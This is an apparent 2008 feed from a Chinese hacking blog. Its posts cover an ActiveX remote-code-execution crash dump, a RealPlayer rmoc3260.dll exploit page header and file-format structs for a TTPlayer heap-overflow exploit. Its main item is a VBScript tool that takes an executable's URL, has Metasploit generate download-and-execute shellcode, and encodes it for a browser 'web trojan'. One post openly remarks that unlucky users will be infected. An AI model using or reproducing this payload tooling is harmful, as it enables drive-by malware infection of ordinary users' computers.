<![CDATA[心诺的地盘]]>http://www.hacksafe.org/PJBlog22008-05-07T15:49:37+08:00<![CDATA[Yahoo! 助手(3721) ActiveX远程代码执行漏洞]]>hacksafehttp://www.hacksafe.org/hacksafe@163.com2008-05-07T15:49:37+08:002008-05-07T15:49:37+08:00 发现者: Sowhat of Nevis Labs 日期: 2008.05.06
(c78.fa0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00e85328 ebx=001ada20 ecx=4080624c edx=00128474 esi=020cb5f0 edi=00000000 eip=43f50743 esp=001283e0 ebp=00128478 iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246 43f50743 ?? ???
]]>http://www.hacksafe.org/default.asp?id=282<![CDATA[今天老婆大人的生日，发帖庆祝下！]]>hacksafehttp://www.hacksafe.org/hacksafe@163.com2008-04-09T21:51:48+08:002008-04-09T21:51:48+08:00 ]]>http://www.hacksafe.org/default.asp?id=281<![CDATA[中国信息安全同盟对外开放！]]>hacksafehttp://www.hacksafe.org/hacksafe@163.com2008-04-09T12:10:17+08:002008-04-09T12:10:17+08:00 url:http://www.hacksafe.org ]]>http://www.hacksafe.org/default.asp?id=280<![CDATA[Real Player rmoc3260.dll Exp ]]>hacksafehttp://www.hacksafe.org/hacksafe@163.com2008-04-05T11:05:13+08:002008-04-05T11:05:13+08:00 On Error Resume Next Exeurl = InputBox( "请输入exe的地址：", "输入", "http://www.haiyangtop.net/333.exe" ) url = "http://metasploit.com:55555/PAYLOADS?parent=GLOB%280x2b94a2879c50%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_URL="&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=Msf%3A%3AEncoder%3A%3AAlpha2&ACTION=Generate+Payload" Body = getHTTPPage(url) Set Re = New RegExp Re.Pattern = "(\$shellcode \=[\s\S]+</div></pre>)" Set Matches = Re.Execute(Body) If Matches.Count>0 Then Body = Matches(0).value code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,"$shellcode =",""),Chr(34),""),Chr(13),""),";",""),"</div></pre>",""),Chr(10),""),".",""))
function replaceregex(str) set regex=new regExp regex.pattern="\\x(..)\\x(..)" regex.IgnoreCase=true regex.global=true matches=regex.replace(str,"%u$2$1") replaceregex=matches end Function
Function getHTTPPage(Path) t = GetBody(Path) getHTTPPage = BytesToBstr(t, "GB2312") End Function
Function GetBody(url) On Error Resume Next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retrieval = Nothing End Function
Function BytesToBstr(Body, Cset) Dim objstream Set objstream = CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write Body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close Set objstream = Nothing End Function
Function URLEncoding(vstrIn) strReturn = "" For aaaa = 1 To Len(vstrIn) ThisChr = Mid(vStrIn,aaaa,1) If Abs(Asc(ThisChr)) < &HFF Then strReturn = strReturn & ThisChr Else innerCode = Asc(ThisChr) If innerCode < 0 Then innerCode = innerCode + &H10000 End If Hight8 = (innerCode And &HFF00)\ &HFF Low8 = innerCode And &HFF strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8) End If Next URLEncoding = strReturn End Function
set fso=CreateObject("scripting.filesystemobject") set fileS=fso.opentextfile("a.txt",8,true) fileS.writeline replaceregex(code) wscript.echo replaceregex(code) files.close set fso=Nothing
该文件只允许会员下载! 登录 | 注册 ]]>http://www.hacksafe.org/default.asp?id=278<![CDATA[最新的REAL网马又出来了,能过最新版本！汗！！]]>hacksafehttp://www.hacksafe.org/hacksafe@163.com2008-04-02T09:57:42+08:002008-04-02T09:57:42+08:00written by e.b. Tested on Windows XP SP2(fully patched) English, IE6, rmoc3260.dll version 6.0.10.45 Thanks to h.d.m. and the Metasploit crew -->
<html> <head> <title>Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit</title> <script language="JavaScript" defer> function Check() {
PS：可怜那些倒霉的孩子，又要中病毒了！]]>http://www.hacksafe.org/default.asp?id=277<![CDATA[千千静听 med 文件格式堆溢出的成功利用]]>hacksafehttp://www.hacksafe.org/hacksafe@163.com2008-04-01T10:22:39+08:002008-04-01T10:22:39+08:00
typedef struct tagMEDMODULEHEADER { DWORD id; // MMD1-MMD3 DWORD modlen; // Size of file DWORD song; // Position in file for this song WORD psecnum; WORD pseq; DWORD blockarr; // Position in file for blocks DWORD mmdflags; DWORD smplarr; // Position in file for samples DWORD reserved; DWORD expdata; // Absolute offset in file for ExpData (0 if not present) DWORD reserved2; WORD pstate; WORD pblock; WORD pline; WORD pseqnum; WORD actplayline; BYTE counter; BYTE extra_songs; // # of songs - 1 } MEDMODULEHEADER;
typedef struct tagMMD0SAMPLE { WORD rep, replen; BYTE midich; BYTE midipreset; BYTE svol; signed char strans; } MMD0SAMPLE;
// MMD0/MMD1 song header typedef struct tagMMD0SONGHEADER { MMD0SAMPLE sample[63]; WORD numblocks; // # of blocks WORD songlen; // # of entries used in playseq BYTE playseq[256]; // Play sequence WORD deftempo; // BPM tempo signed char playtransp; // Play transpose BYTE flags; // 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song BYTE flags2; // [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on BYTE tempo2; // tempo TPL BYTE trkvol[16]; // track volumes BYTE mastervol; // master volume BYTE numsamples; // # of samples (max=63) } MMD0SONGHEADER;
typedef struct tagMMD0EXP { DWORD nextmod; // File offset of next Hdr DWORD exp_smp; // Pointer to extra instrument data WORD s_ext_entries; // Number of extra instrument entries WORD s_ext_entrsz; // Size of extra instrument data DWORD annotxt; DWORD annolen; DWORD iinfo; // Instrument names WORD i_ext_entries; WORD i_ext_entrsz; DWORD jumpmask; DWORD rgbtable; BYTE channelsplit[4]; // Only used if 8ch_conv (extra channel for every nonzero entry) DWORD n_info; DWORD songname; // Song name DWORD songnamelen; DWORD dumps; DWORD mmdinfo; DWORD mmdrexx; DWORD mmdcmd3x; DWORD trackinfo_ofs; // ptr to song->numtracks ptrs to tag lists DWORD effectinfo_ofs; // ptr to group ptrs DWORD tag_end; } MMD0EXP;
#pragma pack()
// Byte swapping functions from the GNU C Library and libsdl
/* Swap bytes in 16 bit value. */ #ifdef __GNUC__ # define bswap_16(x) \ (__extension__ \ ({ unsigned short int __bsx = (x); \ ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); })) #else static __inline unsigned short int bswap_16 (unsigned short int __bsx) { return ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); } #endif
该文件只允许会员下载! 登录 | 注册